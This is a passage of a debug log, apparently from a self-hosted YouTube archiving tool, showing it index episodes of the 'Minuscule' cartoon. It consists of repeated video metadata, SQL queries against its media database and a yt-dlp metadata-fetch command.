synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 351, "filename" => "/downloads/Miniscule Season 1/2013-12-06 Minuscule - Nap Time ⧸ L'heure de la sieste (Season 1)/Minuscule - Nap Time ⧸ L'heure de la sieste (Season 1) [68G3ncJUmYo].mp4", "id" => "68G3ncJUmYo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=68G3ncJUmYo", "playlist_index" => 144, "timestamp" => 1386353167, "title" => "Minuscule - Nap Time / L'heure de la sieste (Season 1)", "upload_date" => "20131206"} 00:54:24.895 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=249.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:24.896 [debug] QUERY OK source="sources" db=0.4ms idle=250.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:24.898 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=251.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2013-12-06 18:06:07Z], 4] 00:54:27.414 [debug] QUERY OK source="media_items" db=2514.9ms idle=253.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Nap Time / L'heure de la sieste (Season 1)", "4c487a4a-5b03-4e5a-96d9-a17503636867", "68G3ncJUmYo", 351, false, 4, "https://www.youtube.com/watch?v=68G3ncJUmYo", 144, "/downloads/Miniscule Season 1/2013-12-06 Minuscule - Nap Time ⧸ L'heure de la sieste (Season 1)/Minuscule - Nap Time ⧸ L'heure de la sieste (Season 1) [68G3ncJUmYo].mp4", false, false, false, [], 1, ~U[2013-12-06 18:06:07Z], ~U[2025-12-14 07:54:24Z], ~U[2025-12-14 07:54:24Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Nap Time / L'heure de la sieste (Season 1)", "68G3ncJUmYo", 351, false, 4, "https://www.youtube.com/watch?v=68G3ncJUmYo", "/downloads/Miniscule Season 1/2013-12-06 Minuscule - Nap Time ⧸ L'heure de la sieste (Season 1)/Minuscule - Nap Time ⧸ L'heure de la sieste (Season 1) [68G3ncJUmYo].mp4", false, ~U[2013-12-06 18:06:07Z]] 00:54:27.415 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=769.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:27.416 [debug] QUERY OK source="media_profiles" db=0.3ms idle=770.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:54:27.417 [debug] QUERY OK source="media_items" db=0.5ms idle=771.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89135] 00:54:27.417 [debug] Current batch of media processed. Will check again in 1000ms 00:54:28.418 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.33, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 422, "filename" => "/downloads/Miniscule Season 1/2013-10-31 Minuscule - Halloween Parano (Season 1)/Minuscule - Halloween Parano (Season 1) [bXJ1WvXuShs].mp4", "id" => "bXJ1WvXuShs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bXJ1WvXuShs", "playlist_index" => 145, "timestamp" => 1383231432, "title" => "Minuscule - Halloween Parano (Season 1)", "upload_date" => "20131031"} 00:54:28.419 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1005.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:28.420 [debug] QUERY OK source="sources" db=0.4ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:28.422 [debug] QUERY OK source="media_items" db=0.9ms idle=1004.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2013-10-31 14:57:12Z], 4] 00:54:28.489 [debug] QUERY OK source="media_items" db=66.6ms idle=1005.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Halloween Parano (Season 1)", "1a8159ca-bf59-48ed-8b4d-a241df37cddf", "bXJ1WvXuShs", 422, false, 4, "https://www.youtube.com/watch?v=bXJ1WvXuShs", 145, "/downloads/Miniscule Season 1/2013-10-31 Minuscule - Halloween Parano (Season 1)/Minuscule - Halloween Parano (Season 1) [bXJ1WvXuShs].mp4", false, false, false, [], 1, ~U[2013-10-31 14:57:12Z], ~U[2025-12-14 07:54:28Z], ~U[2025-12-14 07:54:28Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Halloween Parano (Season 1)", "bXJ1WvXuShs", 422, false, 4, "https://www.youtube.com/watch?v=bXJ1WvXuShs", "/downloads/Miniscule Season 1/2013-10-31 Minuscule - Halloween Parano (Season 1)/Minuscule - Halloween Parano (Season 1) [bXJ1WvXuShs].mp4", false, ~U[2013-10-31 14:57:12Z]] 00:54:28.490 [debug] QUERY OK source="sources" db=0.4ms idle=623.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:28.491 [debug] QUERY OK source="media_profiles" db=0.7ms idle=71.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:54:28.492 [debug] QUERY OK source="media_items" db=0.5ms idle=71.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89137] 00:54:28.493 [debug] Current batch of media processed. Will check again in 1000ms 00:54:29.494 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #iWNMc27qG1A/youtube video #iWNMc27qG1A [iWNMc27qG1A].NA", "id" => "iWNMc27qG1A", "original_url" => "https://www.youtube.com/watch?v=iWNMc27qG1A", "playlist_index" => 146, "title" => "youtube video #iWNMc27qG1A"} 00:54:29.495 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1005.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:29.495 [debug] Current batch of media processed. Will check again in 1000ms 00:54:30.497 [debug] Current batch of media processed. Will check again in 1000ms 00:54:31.151 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:31.498 [debug] Current batch of media processed. Will check again in 1000ms 00:54:32.185 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a2/33/a233104d6826bcecffd3af6783dfac441be697ec590f17e11093642f381cba1f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:54:32.191 [debug] Gracefully stopping file follower 00:54:32.192 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1319.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:54:32.193 [debug] QUERY OK source="sources" db=0.2ms idle=1041.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.194 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=548.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-11 11:01:12Z], 4] 00:54:32.197 [debug] QUERY OK source="media_items" db=2.1ms idle=549.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Good Education | S01E56\n00:04:47 | Hyperactive | S01E54\n00:09:28 | The Right Seed | S01E57\n00:14:14 | The Escapist | S01E59\n00:18:43 | Leech | S01E73\n00:23:07 | Mad Fly | S01E55\n00:27:46 | A Cruel World | 